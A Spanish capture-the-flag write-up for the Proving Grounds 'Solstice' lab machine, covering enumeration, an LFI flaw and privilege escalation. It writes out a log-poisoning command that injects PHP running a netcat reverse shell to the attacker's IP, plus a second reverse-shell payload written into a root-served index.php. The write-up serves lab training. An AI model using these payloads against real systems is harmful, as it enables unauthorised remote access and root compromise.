> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/solstice.md).

# Solstice

<figure><img src="/files/x0SgNbKHpgNbR6Q6eiOF" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Comenzamos enumerando que servicios tiene abiertos la máquina Solstice.

```
nmap -p- --open --min-rate 5000 -Pn -n -vvv 192.168.237.72
```

<figure><img src="/files/SScVLRgSlFFENMGE84Ob" alt=""><figcaption></figcaption></figure>

Existen 8 puertos abiertos en la máquina víctima. Vamos a realizar un escaneo profundo de estos servicios.&#x20;

```
nmap -p21,22,2580,2121,3128,54787,62524 -sVC -vvv 192.168.237.72
```

<figure><img src="/files/I48BSeIuFr9o49DSUV8g" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/iS3YP0iUKtColR17hySf" alt=""><figcaption></figcaption></figure>

#### Enumeración Web

Tenemos tres puertos HTTP: 80, 8593 y 54787. Vamos a inspeccionar el contenido de los tres puertos.&#x20;

<figure><img src="/files/x0Ye5Qx6hldizoou9pi8" alt=""><figcaption><p>Puerto 80</p></figcaption></figure>

<figure><img src="/files/aCV42JbHpy0EquoRVtvV" alt=""><figcaption><p>Puerto 8593</p></figcaption></figure>

<figure><img src="/files/Af2nVmSECTKWnzUWHLXq" alt=""><figcaption><p>Puerto 54787</p></figcaption></figure>

El único puerto que parece devolver resultados es el 8593. Aquí encontramos la página de la biblioteca del sitio web.

<figure><img src="/files/bHIsqzf4X91IhqZp1VaT" alt=""><figcaption></figcaption></figure>

Si nos fijamos en la URL, puede ser un posible punto vulnerable a LFI. Vamos a verificarlo.&#x20;

<figure><img src="/files/xUs7qfAKkVMOxuPOYfDY" alt=""><figcaption></figcaption></figure>

Ahora que sabemos que la aplicación es vulnerable a LFI, trataremos de aprovechar la vulnerabilidad para obtener un shell. Una buena manera de hacerlo es mediante el envenenamiento de logs.

Probamos algunos archivos de logs interesantes (auth.log, mail.log, etc.), pero los únicos a los que pude acceder fueron los registros de access y error de Apache (/var/log/apache2/access.log y /var/log/apache2/error.log).

<figure><img src="/files/A8F4wUpET1t34vVOxaNm" alt=""><figcaption></figcaption></figure>

Sabemos que podemos acceder al registro de errores de Apache, donde es muy probable que podamos envenenar esto para obtener un shell.&#x20;

### Explotación

Sabiendo que la aplicación es vulnerable a LFI y que tenemos acceso a los logs del servidor, vamos a tratar de envenenar estos logs, añadiendo código PHP malicioso a a los logs. Para ello, ejecutamos de la siguiente manera:

```
echo "GET <?php system('nc -e /bin/bash 192.168.45.5 4444'); ?> HTTP/1.1" | nc 192.168.237.72 80 
```

<figure><img src="/files/Rn8BI64brgr7ii2AiGSq" alt=""><figcaption></figcaption></figure>

Ponemos a la escucha un oyente nc en el puerto 4444. Para que funcione la shell debemos cargar en el navegador el archivo access.log.

<figure><img src="/files/7BvLtX03T48XOFupZZgN" alt=""><figcaption></figcaption></figure>

Ya tenemos acceso de bajos privilegios en la máquina objetivo. Vamos a buscar la flag local.txt

<figure><img src="/files/kgpDhgmut8JgkHZK8vtT" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Realizamos las diversas enumeraciones para buscar posibles puntos vulnerables.

\*Cambio de IP

Buscamos todos los archivos y directorios con SUID

```
find / -user root -perm /4000 2>/dev/null
```

<figure><img src="/files/5fG9LHSusxKfNQ9LnXCm" alt=""><figcaption></figcaption></figure>

Encontramos un directorio extraño /var/tmp/sv. Vemos su contenido.&#x20;

<figure><img src="/files/kEgItt8WavxflIVrmD0T" alt=""><figcaption></figcaption></figure>

Después de ingresar al directorio, descubrimos que hay un index.php en este directorio donde todos los usuarios tienen permisos de lectura y escritura, y el propietario es root.&#x20;

El propósito es obtener una shell reversa de un usuario escribiendo una carga útil y accediendo al archivo index.php debajo del sitio.&#x20;

Enumeramos los servicios que se están ejecutando en la máquina víctima.&#x20;

```
ps -ax
```

<figure><img src="/files/29XOh6IPHfrPLAn3iTil" alt=""><figcaption></figcaption></figure>

¿Qué tenemos hasta ahora? Un archivo donde www-data tiene permisos de escritura y lectura, y un servidor interno que se ejecuta como "root".

Sabiendo esto, vamos a modificar el archivo index.php para añadir la carga útil para ejecutar la reverse shell y trataremos de cargarlo a accediendo al puerto 57 a través de localhost de la máquina "solstice".

Modificamos index.php

```
echo "<?php system('nc 192.168.45.5 1234 -e /bin/bash'); ?>" > index.php
```

<figure><img src="/files/ajOUoKaSedhnMfUneyTs" alt=""><figcaption></figcaption></figure>

El siguiente paso será acceder a 127.0.0.1:57.

```
curl 127.0.0.1:57
```

Al mismo tiempo, en nuestra máquina de ataque tenemos a la escucha un oyente nc en el puerto 1234.

<figure><img src="/files/zHk7VqC7e6ZIgJ16UVQC" alt=""><figcaption></figcaption></figure>

Como vemos, ya tenemos acceso a la máquina víctima con privilegios máximos. Solo quedará buscar la flag proof.txt<br>

<figure><img src="/files/SFG9OBacStvLapC6K4o7" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=OEBtyUJgu24>" %}
